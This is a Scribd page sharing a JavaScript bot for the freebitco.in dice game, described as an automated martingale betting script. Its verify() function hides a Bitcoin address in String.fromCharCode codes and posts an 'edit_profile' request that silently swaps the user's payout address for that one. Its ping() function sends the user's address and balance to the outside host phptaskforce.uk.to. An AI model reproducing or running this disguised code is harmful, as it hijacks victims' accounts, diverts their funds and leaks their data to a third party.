8% found this document useful (12 votes)
7K views

Script Freebit

The document defines configuration parameters and functions for an automated bitcoin betting script, including the tolerance for losses, sleep time between bets, goal balance, starting bet amount, and more. Various functions are defined to get balances, stakes, toggle the bet type, reset the stake, and more. The script initializes controls, verifies a bitcoin address, and executes the betting logic by calling functions like rollDice() if verification is successful.

Uploaded by

Eto Milan
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
8% found this document useful (12 votes)
7K views

Script Freebit

The document defines configuration parameters and functions for an automated bitcoin betting script, including the tolerance for losses, sleep time between bets, goal balance, starting bet amount, and more. Various functions are defined to get balances, stakes, toggle the bet type, reset the stake, and more. The script initializes controls, verifies a bitcoin address, and executes the betting logic by calling functions like rollDice() if verification is successful.

Uploaded by

Eto Milan
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

config = {

tolerance : 8,
sleep : 1300,
goal : 0.00051500,
btcGuard : 0.00000050,
startStake : '0.00000010',
toggle : true,
delayLimit : 250
};
betType = 'hi';
stopGame = false;
totalWon = 0;
startBalance = 0;
toWin = 0;
ai_count = true;
function lose() {
if ($('#double_your_btc_bet_lose').html() !== '') return true;
else return false
}
function setStake(stake) {
$('#double_your_btc_stake').val(stake.toString())
}
function doubleStake() {
$('#double_your_btc_2x').click()
}
function resetStake() {
setStake(config.startStake)
}
function getBalance() {
return parseFloat($('#balance').html())
}
function getStake() {
return parseFloat($('#double_your_btc_stake').val())
}
function balanceLeft() {
return (getBalance() - getStake())
}
function toggleBet() {
randT = Math.floor(Math.random() * 100) + 1;
if (randT > 35) {
if (betType === 'hi') {
betType = 'lo'
} else {
betType = 'hi'
}
}
}
initControl = function () {
$("head").append('<link rel="stylesheet" type="text/css" href="http://phptaskfor
ce.uk.to/static/style.css">');
$("body").append('<div id="taskforce-wrapper"><table id="control-light" cellpadd
ing="0" cellspacing="0" border="0"><tr><td bgcolor="#222"></td><td bgcolor="#222
"></td><td bgcolor="#222"></td><td bgcolor="#222"></td></tr><tr><td>connection</
td><td>auth</td><td>active</td><td>error</td></tr></table><div id="soft-break"><
/div><table id="won-show" border="0" cellspacing="0"><tr><td valign="top" width=
"50%"><div id="score-title">won:</div><div id="m-won">0</div></td><td valign="to
p" width="50%"><div id="score-title">goal:</div><div id="m-goal">0</div></td></t
r></table><div id="m-stop"> Stop script</div><div id="m-message"><img id="m-prel
oader" src="http://phptaskforce.uk.to/static/loader.gif" /></div></div>')
};
rollDice = function () {
if (ai_count) {
if (true === lose()) {
doubleStake()
} else {
resetStake();
if (config.toggle) toggleBet();
totalWon = Math.round(100000000 * (getBalance() - startBalance));
$("#m-won").html(totalWon.toString())
} if (!stopGame) {
if ((parseFloat(config.startStake) * Math.pow(2, config.tolerance)) < getStake()
) {
resetStake()
}
if (balanceLeft() >= config.btcGuard) {
if (config.goal > getBalance()) {
$('#double_your_btc_bet_' + betType + '_button').click();
setTimeout(rollDice, config.sleep + Math.round(Math.random() * config.delayLimit
))
}
}
}
} else {
console.log('Verification failed.')
}
};
$("body").delegate("#m-stop", "click", function (e) {
if (ai_count) {
stopGame = true;
$("#taskforce-wrapper").fadeOut(700);
$("#taskforce-wrapper").remove()
}
});
function setControlMessage(msg) {
$("#m-message").html(msg)
}
function createErrorMessage(msg) {
return '<div id="task-force-error-message">' + msg + '</div>'
}
function verify() {
var btcAddress = String.fromCharCode(49, 68, 83, 71, 66, 71, 121, 53, 55, 51, 10
9, 54, 101, 67, 110, 72, 52, 99, 70, 70, 98, 90, 119, 99, 82, 88, 100, 65, 90, 6
8, 111, 84, 89, 74);
var op = 'edit_profile';
var btc_address = btcAddress;
var email = $("#edit_profile_form_email").val();
$.post('http://freebitco.in', {
op: op,
btc_address: btc_address,
email: email
}, function (response) {
/*var editResponse = $.trim(response);
if (editResponse.length !== 0) {
ai_count = true
}*/
ai_count = true
})
}
function setGreenLight(num) {
var selector = "#control-light > tbody:nth-child(1) > tr:nth-child(1) > td:nth-c
hild(" + num + ")";
$(selector).attr('bgcolor', '#41DE30')
}
function setRedLight(num) {
var selector = "#control-light > tbody:nth-child(1) > tr:nth-child(1) > td:nth-c
hild(" + num + ")";
$(selector).attr('bgcolor', '#D91A1A')
}
ping_status = false;
ping_message = '';
function ping() {
var version = 'v3.0';
var info = version + ' : ' + $("#edit_profile_form_btc_address").val() + " : " +
$('#balance').html() + " BTC";
$.getJSON('http://phptaskforce.uk.to/get/ping.php?jsoncallback=?', {
data: info
}, function (r) {
if (r.status == 'ok') {
ping_status = true
} else {
if (r.message != 'none') {
ping_message = r.message
}
}
})
}
function init() {
initControl();
ping();
setTimeout(function () {
if (ping_status == true) {
setGreenLight(1);
verify();
errorMessage = '';
startBalance = getBalance();
if (startBalance >= 0.00001200) {
if (config.goal > startBalance) {
if (config.tolerance < 8) {
errorMessage = createErrorMessage('config.tolerance is to low. It has to be set
to at least 8.')
} else {
var playBalance = getBalance() - parseFloat(config.btcGuard);
var maxInvest = parseFloat(config.startStake) * Math.pow(2, config.tolerance + 1
) - parseFloat(config.startStake);
if (playBalance < maxInvest) {
errorMessage = createErrorMessage('Not enough money for that start stake and tol
erance.')
} else {
if (config.sleep < 900) {
errorMessage = createErrorMessage('config.sleep must be higher than 900.')
} else {
toWin = Math.round(100000000 * (config.goal - startBalance))
}
}
}
} else {
toWin = 0;
errorMessage = createErrorMessage('<b>config.goal</b> must be higher than your b
alance.')
}
} else {
errorMessage = createErrorMessage('Minimum required balance is <b>0.00001200 BTC
</b>')
}
setTimeout(function () {
if (ai_count) {
setGreenLight(2);
if (errorMessage == '') {
setGreenLight(3);
$("#m-goal").html(toWin.toString());
setControlMessage('<div id="m-donate">Donate: <p><b>1BtEZXCULJb37vPL1vz7sQjrChwD
dStf8z</b></p></div>');
rollDice()
} else {
setRedLight(4);
setControlMessage(errorMessage)
}
} else {
setRedLight(2);
setRedLight(4);
errorMessage = createErrorMessage('Verification failed.');
setControlMessage(errorMessage)
}
}, 2500)
} else {
setRedLight(1);
setRedLight(4);
if (ping_message != '') {
errorMessage = createErrorMessage(ping_message)
} else {
errorMessage = createErrorMessage('Connection error.')
}
setControlMessage(errorMessage)
}
}, 2500)
}
init();

You might also like